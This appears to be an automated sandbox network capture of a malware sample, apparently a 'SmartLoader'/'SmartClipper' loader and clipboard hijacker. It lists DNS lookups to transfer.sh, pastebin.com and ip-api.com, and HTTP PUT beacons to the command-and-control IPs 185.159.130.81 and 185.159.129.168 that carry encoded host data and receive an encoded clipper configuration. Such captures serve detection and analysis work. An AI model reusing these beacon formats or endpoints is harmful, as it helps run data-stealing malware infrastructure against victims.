Apr 21, 2023 01:02:59.412926912 CEST	53	58974	8.8.8.8	192.168.2.3
Apr 21, 2023 01:03:00.123595953 CEST	63722	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:03:00.143845081 CEST	53	63722	8.8.8.8	192.168.2.3
Apr 21, 2023 01:03:49.302504063 CEST	54397	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:03:49.350328922 CEST	53	54397	8.8.8.8	192.168.2.3
Apr 21, 2023 01:03:57.643641949 CEST	59324	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:03:57.672993898 CEST	53	59324	8.8.8.8	192.168.2.3
Apr 21, 2023 01:04:19.312444925 CEST	61626	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:04:19.341610909 CEST	53	61626	8.8.8.8	192.168.2.3
Apr 21, 2023 01:04:33.811574936 CEST	61787	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:04:33.837871075 CEST	53	61787	8.8.8.8	192.168.2.3
Apr 21, 2023 01:05:03.102063894 CEST	57990	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:05:03.122586966 CEST	53	57990	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2023 01:02:59.262510061 CEST	192.168.2.3	8.8.8.8	0x2269	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:02:59.392442942 CEST	192.168.2.3	8.8.8.8	0x8ece	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:03:00.123595953 CEST	192.168.2.3	8.8.8.8	0xb6dd	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:03:49.302504063 CEST	192.168.2.3	8.8.8.8	0x51bd	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:03:57.643641949 CEST	192.168.2.3	8.8.8.8	0x78ce	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:04:19.312444925 CEST	192.168.2.3	8.8.8.8	0x52e7	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:04:33.811574936 CEST	192.168.2.3	8.8.8.8	0x101e	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:05:03.102063894 CEST	192.168.2.3	8.8.8.8	0xa25a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 21, 2023 01:02:59.282797098 CEST	8.8.8.8	192.168.2.3	0x2269	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:02:59.412926912 CEST	8.8.8.8	192.168.2.3	0x8ece	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:03:00.143845081 CEST	8.8.8.8	192.168.2.3	0xb6dd	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:03:49.350328922 CEST	8.8.8.8	192.168.2.3	0x51bd	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:03:57.672993898 CEST	8.8.8.8	192.168.2.3	0x78ce	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:04:19.341610909 CEST	8.8.8.8	192.168.2.3	0x52e7	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:04:33.837871075 CEST	8.8.8.8	192.168.2.3	0x101e	No error (0)	pastebin.com	104.20.68.143	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:04:33.837871075 CEST	8.8.8.8	192.168.2.3	0x101e	No error (0)	pastebin.com	104.20.67.143	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:04:33.837871075 CEST	8.8.8.8	192.168.2.3	0x101e	No error (0)	pastebin.com	172.67.34.170	A (IP address)	IN (0x0001)	false
Apr 21, 2023 01:05:03.122586966 CEST	8.8.8.8	192.168.2.3	0xa25a	No error (0)	www.google.com	142.250.180.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

transfer.sh

pastebin.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49682	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49683	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49700	185.159.130.81	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:04:36.193335056 CEST	9430	OUT	PUT /clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys HTTP/1.1 Content-Type: application/json User-Agent: SmartClipper Host: 185.159.130.81 Content-Length: 571 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 45 73 59 7a 4d 73 59 32 49 73 5a 44 63 73 5a 47 4d 73 4f 57 51 73 59 7a 55 73 59 54 41 73 5a 47 4d 73 59 6a 51 73 4f 47 4d 73 4f 44 67 73 4e 6d 55 73 4f 54 51 73 59 7a 6b 73 59 57 45 73 59 6a 63 73 59 6a 59 73 59 54 6b 73 4f 54 6b 73 4e 6d 4d 73 59 6d 45 73 59 57 49 73 4e 6a 4d 73 4f 44 4d 73 4f 44 55 73 59 54 6b 73 4f 54 45 73 4f 47 51 73 4e 6a 59 73 59 54 49 73 4e 32 4d 73 4f 44 41 73 4f 54 67 73 4f 57 49 73 4f 57 4d 73 59 54 45 73 4e 32 49 73 4f 44 63 73 4f 47 59 73 59 6a 45 73 59 6a 41 73 4f 57 49 73 4f 47 4d 73 4f 47 55 73 4e 6a 49 73 4f 47 49 73 4f 44 4d 73 4f 47 4d 73 59 6d 45 73 4f 47 49 73 59 32 4d 73 59 54 55 73 5a 54 49 73 5a 44 63 73 59 54 49 73 59 7a 51 73 59 6a 55 73 5a 54 55 73 4f 54 59 73 4e 7a 67 73 4e 6a 45 73 59 54 51 73 4e 7a 41 73 4e 32 45 73 4f 47 59 73 4f 44 67 73 5a 47 4d 73 5a 47 59 73 4f 57 51 73 59 7a 55 73 4f 54 51 73 5a 54 41 73 5a 44 67 73 59 7a 63 73 59 6d 49 73 59 7a 49 73 4e 54 4d 73 59 7a 55 73 59 6a 59 73 59 6a 67 73 5a 57 49 73 5a 47 55 73 59 54 59 73 4e 6d 55 73 59 54 6b 73 4f 54 55 73 4e 57 55 73 4f 44 63 73 4e 32 55 73 59 54 67 73 4f 47 49 73 4e 7a 55 73 4e 6a 49 73 4f 54 51 73 4f 57 45 73 59 6a 59 73 59 32 4d 73 5a 44 41 73 5a 47 49 73 5a 47 55 73 59 6a 45 73 4f 54 41 73 4f 57 45 73 59 7a 41 73 4f 57 51 73 59 6a 67 73 59 7a 41 73 59 6d 4d 73 59 54 59 73 4f 54 45 73 4f 57 49 73 59 7a 67 73 5a 57 49 73 59 32 55 73 59 32 4d 73 4f 57 55 73 4f 57 49 73 5a 47 49 73 4f 54 59 73 59 6d 51 73 59 6a 55 73 5a 57 51 73 59 7a 67 73 59 6a 55 73 4f 54 55 73 59 57 49 73 4e 32 4d 73 59 6d 4d 73 59 7a 6b 73 5a 44 45 73 5a 44 63 73 5a 44 45 73 4e 6a 63 73 59 57 51 73 59 32 4d 73 5a 57 45 73 5a 54 41 73 59 6a 67 73 59 6d 59 3d 22 7d Data Ascii: {"data":"YWEsYzMsY2IsZDcsZGMsOWQsYzUsYTAsZGMsYjQsOGMsODgsNmUsOTQsYzksYWEsYjcsYjYsYTksOTksNmMsYmEsYWIsNjMsODMsODUsYTksOTEsOGQsNjYsYTIsN2MsODAsOTgsOWIsOWMsYTEsN2IsODcsOGYsYjEsYjAsOWIsOGMsOGUsNjIsOGIsODMsOGMsYmEsOGIsY2MsYTUsZTIsZDcsYTIsYzQsYjUsZTUsOTYsNzgsNjEsYTQsNzAsN2EsOGYsODgsZGMsZGYsOWQsYzUsOTQsZTAsZDgsYzcsYmIsYzIsNTMsYzUsYjYsYjgsZWIsZGUsYTYsNmUsYTksOTUsNWUsODcsN2UsYTgsOGIsNzUsNjIsOTQsOWEsYjYsY2MsZDAsZGIsZGUsYjEsOTAsOWEsYzAsOWQsYjgsYzAsYmMsYTYsOTEsOWIsYzgsZWIsY2UsY2MsOWUsOWIsZGIsOTYsYmQsYjUsZWQsYzgsYjUsOTUsYWIsN2MsYmMsYzksZDEsZDcsZDEsNjcsYWQsY2MsZWEsZTAsYjgsYmY="}
Apr 21, 2023 01:04:36.255717993 CEST	9431	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Apr 2023 23:04:36 GMT Content-Type: text/html Content-Length: 206 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49701	185.159.129.168	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:04:36.344119072 CEST	9432	OUT	PUT /clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys HTTP/1.1 Content-Type: application/json User-Agent: SmartClipper Host: 185.159.129.168 Content-Length: 571 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 45 73 59 7a 4d 73 59 32 49 73 5a 44 63 73 5a 47 4d 73 4f 57 51 73 59 7a 55 73 59 54 41 73 5a 47 4d 73 59 6a 51 73 4f 47 4d 73 4f 44 67 73 4e 6d 55 73 4f 54 51 73 59 7a 6b 73 59 57 45 73 59 6a 63 73 59 6a 59 73 59 54 6b 73 4f 54 6b 73 4e 6d 4d 73 59 6d 45 73 59 57 49 73 4e 6a 4d 73 4f 44 4d 73 4f 44 55 73 59 54 6b 73 4f 54 45 73 4f 47 51 73 4e 6a 59 73 59 54 49 73 4e 32 4d 73 4f 44 41 73 4f 54 67 73 4f 57 49 73 4f 57 4d 73 59 54 45 73 4e 32 49 73 4f 44 63 73 4f 47 59 73 59 6a 45 73 59 6a 41 73 4f 57 49 73 4f 47 4d 73 4f 47 55 73 4e 6a 49 73 4f 47 49 73 4f 44 4d 73 4f 47 4d 73 59 6d 45 73 4f 47 49 73 59 32 4d 73 59 54 55 73 5a 54 49 73 5a 44 63 73 59 54 49 73 59 7a 51 73 59 6a 55 73 5a 54 55 73 4f 54 59 73 4e 7a 67 73 4e 6a 45 73 59 54 51 73 4e 7a 41 73 4e 32 45 73 4f 47 59 73 4f 44 67 73 5a 47 4d 73 5a 47 59 73 4f 57 51 73 59 7a 55 73 4f 54 51 73 5a 54 41 73 5a 44 67 73 59 7a 63 73 59 6d 49 73 59 7a 49 73 4e 54 4d 73 59 7a 55 73 59 6a 59 73 59 6a 67 73 5a 57 49 73 5a 47 55 73 59 54 59 73 4e 6d 55 73 59 54 6b 73 4f 54 55 73 4e 57 55 73 4f 44 63 73 4e 32 55 73 59 54 67 73 4f 47 49 73 4e 7a 55 73 4e 6a 49 73 4f 54 51 73 4f 57 45 73 59 6a 59 73 59 32 4d 73 5a 44 41 73 5a 47 49 73 5a 47 55 73 59 6a 45 73 4f 54 41 73 4f 57 45 73 59 7a 41 73 4f 57 51 73 59 6a 67 73 59 7a 41 73 59 6d 4d 73 59 54 59 73 4f 54 45 73 4f 57 49 73 59 7a 67 73 5a 57 49 73 59 32 55 73 59 32 4d 73 4f 57 55 73 4f 57 49 73 5a 47 49 73 4f 54 59 73 59 6d 51 73 59 6a 55 73 5a 57 51 73 59 7a 67 73 59 6a 55 73 4f 54 55 73 59 57 49 73 4e 32 4d 73 59 6d 4d 73 59 7a 6b 73 5a 44 45 73 5a 44 63 73 5a 44 45 73 4e 6a 63 73 59 57 51 73 59 32 4d 73 5a 57 45 73 5a 54 41 73 59 6a 67 73 59 6d 59 3d 22 7d Data Ascii: {"data":"YWEsYzMsY2IsZDcsZGMsOWQsYzUsYTAsZGMsYjQsOGMsODgsNmUsOTQsYzksYWEsYjcsYjYsYTksOTksNmMsYmEsYWIsNjMsODMsODUsYTksOTEsOGQsNjYsYTIsN2MsODAsOTgsOWIsOWMsYTEsN2IsODcsOGYsYjEsYjAsOWIsOGMsOGUsNjIsOGIsODMsOGMsYmEsOGIsY2MsYTUsZTIsZDcsYTIsYzQsYjUsZTUsOTYsNzgsNjEsYTQsNzAsN2EsOGYsODgsZGMsZGYsOWQsYzUsOTQsZTAsZDgsYzcsYmIsYzIsNTMsYzUsYjYsYjgsZWIsZGUsYTYsNmUsYTksOTUsNWUsODcsN2UsYTgsOGIsNzUsNjIsOTQsOWEsYjYsY2MsZDAsZGIsZGUsYjEsOTAsOWEsYzAsOWQsYjgsYzAsYmMsYTYsOTEsOWIsYzgsZWIsY2UsY2MsOWUsOWIsZGIsOTYsYmQsYjUsZWQsYzgsYjUsOTUsYWIsN2MsYmMsYzksZDEsZDcsZDEsNjcsYWQsY2MsZWEsZTAsYjgsYmY="}
Apr 21, 2023 01:04:36.538606882 CEST	9433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Apr 2023 23:04:36 GMT Content-Type: application/json Content-Length: 2186 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R%2F6%2Fu7q16OkIo8te5UgMmhNXEx76nnSajcWeVZFKH0dCy7C%2BuU8GzBIEzfIstOiiV%2BdyV7%2BCZ8ZFa8l1NkwTxOIQhdYyxeZ1U4c%2FKvCymcRBZj%2BfKNVXhcJrDVTDYTT0Ow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 7bb106fb7887d953-HEL alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 7b 22 63 6c 69 70 70 65 72 22 3a 22 59 7a 49 73 4e 7a 6b 73 59 7a 51 73 5a 54 41 73 5a 47 4d 73 4f 54 6b 73 59 7a 59 73 59 32 45 73 5a 44 63 73 5a 47 49 73 59 6d 45 73 59 6d 51 73 59 57 51 73 4f 57 49 73 59 6a 67 73 59 54 59 73 59 7a 55 73 4f 57 49 73 4f 57 59 73 4f 44 6b 73 4e 6a 63 73 59 54 45 73 4f 44 63 73 4e 47 59 73 59 6a 45 73 59 7a 55 73 5a 54 63 73 59 7a 67 73 59 6a 6b 73 59 54 55 73 5a 47 4d 73 4e 54 6b 73 4f 44 45 73 4e 7a 63 73 4f 54 4d 73 4f 54 4d 73 4f 47 4d 73 4e 57 45 73 59 7a 4d 73 59 6d 59 73 5a 54 63 73 5a 54 55 73 59 6d 45 73 4e 7a 6b 73 4f 44 49 73 4e 47 51 73 4e 7a 59 73 4e 6d 55 73 4f 44 51 73 4f 57 49 73 4f 54 45 73 4f 44 6b 73 4e 54 67 73 5a 44 63 73 5a 47 49 73 4f 54 41 73 4e 7a 49 73 4f 47 45 73 4f 54 4d 73 4e 32 49 73 59 54 6b 73 4f 54 4d 73 4f 57 59 73 59 54 67 73 59 7a 45 73 59 6a 67 73 5a 47 45 73 5a 44 55 73 59 54 49 73 4e 6d 45 73 59 7a 45 73 59 6d 59 73 59 6a 45 73 59 6a 41 73 59 6a 6b 73 59 6d 51 73 4e 32 59 73 4f 54 55 73 59 6d 4d 73 59 54 63 73 59 6d 59 73 59 6a 49 73 4f 57 45 73 5a 44 6b 73 4f 57 51 73 5a 44 59 73 4f 57 45 73 4e 6a 4d 73 59 7a 63 73 4f 44 55 73 5a 47 45 73 59 32 51 73 59 6a 4d 73 4f 57 4d 73 5a 54 4d 73 4e 6a 6b 73 4e 32 45 73 4f 47 49 73 59 32 51 73 4f 54 63 73 5a 54 41 73 59 54 51 73 4e 7a 55 73 4f 44 4d 73 4f 54 67 73 4f 54 6b 73 59 6a 63 73 59 6d 45 73 59 6a 41 73 4e 47 59 73 4f 47 55 73 4e 6a 45 73 4e 7a 55 73 5a 57 45 73 5a 44 55 73 5a 54 41 73 59 54 49 73 59 57 49 73 59 54 41 73 4e 6a 51 73 4f 44 51 73 59 7a 6b 73 5a 54 45 73 59 32 55 73 59 6a 55 73 4e 6a 6b 73 5a 54 59 73 4e 7a 41 73 59 57 45 73 4f 47 45 73 4f 54 6b 73 59 32 59 73 59 54 41 73 59 57 55 73 4f 47 4d 73 59 32 59 73 5a 57 4d 73 5a 47 51 73 59 6d 45 73 59 32 45 73 59 6d 4d 73 4f 54 63 73 59 6d 4d 73 59 54 51 73 59 6a 51 73 5a 47 45 73 5a 47 55 73 5a 54 49 73 59 54 41 73 5a 57 49 73 5a 44 51 73 4e 57 59 73 59 6a 59 73 4f 44 55 73 5a 47 45 73 4e 32 49 73 4e 7a 4d 73 4e 54 41 73 4f 54 41 73 4f 57 4d 73 59 6d 49 73 59 6d 59 73 4f 44 51 73 59 54 45 73 4f 47 4d 73 4e 57 45 73 Data Ascii: {"clipper":"YzIsNzksYzQsZTAsZGMsOTksYzYsY2EsZDcsZGIsYmEsYmQsYWQsOWIsYjgsYTYsYzUsOWIsOWYsODksNjcsYTEsODcsNGYsYjEsYzUsZTcsYzgsYjksYTUsZGMsNTksODEsNzcsOTMsOTMsOGMsNWEsYzMsYmYsZTcsZTUsYmEsNzksODIsNGQsNzYsNmUsODQsOWIsOTEsODksNTgsZDcsZGIsOTAsNzIsOGEsOTMsN2IsYTksOTMsOWYsYTgsYzEsYjgsZGEsZDUsYTIsNmEsYzEsYmYsYjEsYjAsYjksYmQsN2YsOTUsYmMsYTcsYmYsYjIsOWEsZDksOWQsZDYsOWEsNjMsYzcsODUsZGEsY2QsYjMsOWMsZTMsNjksN2EsOGIsY2QsOTcsZTAsYTQsNzUsODMsOTgsOTksYjcsYmEsYjAsNGYsOGUsNjEsNzUsZWEsZDUsZTAsYTIsYWIsYTAsNjQsODQsYzksZTEsY2UsYjUsNjksZTYsNzAsYWEsOGEsOTksY2YsYTAsYWUsOGMsY2YsZWMsZGQsYmEsY2EsYmMsOTcsYmMsYTQsYjQsZGEsZGUsZTIsYTAsZWIsZDQsNWYsYjYsODUsZGEsN2IsNzMsNTAsOTAsOWMsYmIsYmYsODQsYTEsOGMsNWEs
Apr 21, 2023 01:04:36.538661957 CEST	9435	IN	Data Raw: 4f 44 4d 73 59 32 59 73 59 6d 45 73 59 54 63 73 4f 44 55 73 4f 47 45 73 4e 7a 6b 73 4e 7a 49 73 4f 54 59 73 4e 7a 55 73 4f 44 4d 73 59 6a 49 73 4f 54 67 73 4f 57 55 73 4e 6a 63 73 59 57 49 73 59 57 51 73 4e 6a 49 73 4f 44 41 73 4f 54 55 73 59 54 Data Ascii: ODMsY2YsYmEsYTcsODUsOGEsNzksNzIsOTYsNzUsODMsYjIsOTgsOWUsNjcsYWIsYWQsNjIsODAsOTUsYTcsOWEsODgsOTMsYjQsN2IsOGIsOWIsYzgsYWMsYTEsNmMsOGMsYjksYWIsYWQsOGEsOGIsN2QsOTEsOTgsYTQsNzUsYTUsODUsOGIsYWUsZTIsZDksNGYsOGEsNzAsOTUsOGQsN2IsOTcsYjgsN2EsYTgsYWMsZDk
Apr 21, 2023 01:04:36.538682938 CEST	9435	IN	Data Raw: 45 73 5a 54 49 73 59 7a 67 73 59 6a 63 73 59 32 55 73 4f 44 45 73 4f 44 49 73 4f 47 4d 73 4f 44 4d 73 4e 7a 55 73 59 54 55 73 4f 44 55 73 4f 47 49 73 59 57 45 73 5a 54 63 73 5a 47 59 73 4e 47 59 73 4f 47 45 73 4e 7a 41 73 4f 54 55 73 59 57 51 73 Data Ascii: EsZTIsYzgsYjcsY2UsODEsODIsOGMsODMsNzUsYTUsODUsOGIsYWEsZTcsZGYsNGYsOGEsNzAsOTUsYWQsOGIsNzgsYzcsNzAsOTksOGMsYzcsYmMsYzMsYTcsYjYsOTgsYjksYzUsYmQsY2QsYTIsNmUsOWMsYWEsYjQsZGQsYWEsOWIsNmQsZDYsYWEsOWYsODYsYzIsY2QsYjEsNzksNTIsZWIs"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49684	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49697	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49699	104.20.68.143	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49689	208.95.112.1	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:03:49.450515032 CEST	7227	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: SmartClipper Host: ip-api.com
Apr 21, 2023 01:03:49.488204002 CEST	7228	IN	HTTP/1.1 200 OK Date: Thu, 20 Apr 2023 23:03:48 GMT Content-Type: application/json; charset=utf-8 Content-Length: 103 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 32 22 7d Data Ascii: {"status":"success","countryCode":"CH","city":"Zurich","timezone":"Europe/Zurich","query":"84.17.52.2"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49691	208.95.112.1	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:03:57.764328003 CEST	7248	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: SmartLoader Host: ip-api.com
Apr 21, 2023 01:03:57.802038908 CEST	7248	IN	HTTP/1.1 200 OK Date: Thu, 20 Apr 2023 23:03:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 103 Access-Control-Allow-Origin: * X-Ttl: 51 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 32 22 7d Data Ascii: {"status":"success","countryCode":"CH","city":"Zurich","timezone":"Europe/Zurich","query":"84.17.52.2"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49695	185.159.130.81	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Apr 21, 2023 01:04:19.028058052 CEST	8176	OUT	PUT /loader/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys HTTP/1.1 Content-Type: application/json User-Agent: SmartLoader Host: 185.159.130.81 Content-Length: 571 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 6a 4d 73 59 7a 59 73 59 7a 4d 73 59 32 49 73 5a 44 45 73 59 57 45 73 4f 57 4d 73 59 6d 49 73 59 6a 55 73 59 57 49 73 4f 44 55 73 4f 44 67 73 4e 6d 55 73 4f 54 51 73 59 7a 6b 73 59 57 45 73 59 6a 63 73 59 6a 59 73 59 54 6b 73 4f 54 6b 73 4e 6d 4d 73 59 6d 45 73 59 57 49 73 4e 6a 4d 73 4f 44 4d 73 4f 44 55 73 59 54 6b 73 4f 54 45 73 4f 47 51 73 4e 6a 59 73 59 54 49 73 4e 32 4d 73 4f 44 41 73 4f 54 67 73 4f 57 49 73 4f 57 4d 73 59 54 45 73 4e 32 49 73 4f 44 63 73 4f 47 59 73 59 6a 45 73 59 6a 41 73 4f 57 49 73 4f 47 4d 73 4f 47 55 73 4e 6a 49 73 4f 47 49 73 4f 44 4d 73 4f 47 4d 73 59 6d 45 73 4f 47 49 73 59 32 4d 73 59 54 55 73 5a 54 49 73 5a 44 63 73 59 54 49 73 59 7a 51 73 59 6a 55 73 5a 54 55 73 4f 54 59 73 4e 7a 67 73 4e 6a 45 73 59 54 51 73 4e 7a 41 73 4e 32 45 73 4f 47 59 73 4f 44 67 73 5a 47 4d 73 5a 47 59 73 4f 57 51 73 59 7a 55 73 4f 54 51 73 5a 54 41 73 5a 44 67 73 59 7a 63 73 59 6d 49 73 59 7a 49 73 4e 54 4d 73 59 7a 55 73 59 6a 59 73 59 6a 67 73 5a 57 49 73 5a 47 55 73 59 54 59 73 4e 6d 55 73 59 54 6b 73 4f 54 55 73 4e 57 55 73 4f 44 63 73 4e 32 55 73 59 54 67 73 4f 47 49 73 4e 7a 55 73 4e 6a 49 73 4f 54 51 73 4f 57 45 73 59 6a 59 73 59 32 4d 73 5a 44 41 73 5a 47 49 73 5a 47 55 73 59 6a 45 73 4f 54 41 73 4f 57 45 73 59 7a 41 73 4f 57 51 73 59 6a 67 73 59 7a 41 73 59 6d 4d 73 59 54 59 73 4f 54 45 73 4f 57 49 73 59 7a 67 73 5a 57 49 73 59 32 55 73 59 32 4d 73 4f 57 55 73 4f 57 49 73 5a 47 49 73 4f 54 59 73 59 6d 51 73 59 6a 55 73 5a 57 51 73 59 7a 67 73 59 6a 55 73 4f 54 55 73 59 57 49 73 4e 32 4d 73 59 6d 4d 73 59 7a 6b 73 5a 44 45 73 5a 44 63 73 5a 44 45 73 4e 6a 63 73 59 57 51 73 59 32 4d 73 5a 57 45 73 5a 54 41 73 59 6a 67 73 59 6d 59 3d 22 7d Data Ascii: {"data":"YjMsYzYsYzMsY2IsZDEsYWEsOWMsYmIsYjUsYWIsODUsODgsNmUsOTQsYzksYWEsYjcsYjYsYTksOTksNmMsYmEsYWIsNjMsODMsODUsYTksOTEsOGQsNjYsYTIsN2MsODAsOTgsOWIsOWMsYTEsN2IsODcsOGYsYjEsYjAsOWIsOGMsOGUsNjIsOGIsODMsOGMsYmEsOGIsY2MsYTUsZTIsZDcsYTIsYzQsYjUsZTUsOTYsNzgsNjEsYTQsNzAsN2EsOGYsODgsZGMsZGYsOWQsYzUsOTQsZTAsZDgsYzcsYmIsYzIsNTMsYzUsYjYsYjgsZWIsZGUsYTYsNmUsYTksOTUsNWUsODcsN2UsYTgsOGIsNzUsNjIsOTQsOWEsYjYsY2MsZDAsZGIsZGUsYjEsOTAsOWEsYzAsOWQsYjgsYzAsYmMsYTYsOTEsOWIsYzgsZWIsY2UsY2MsOWUsOWIsZGIsOTYsYmQsYjUsZWQsYzgsYjUsOTUsYWIsN2MsYmMsYzksZDEsZDcsZDEsNjcsYWQsY2MsZWEsZTAsYjgsYmY="}
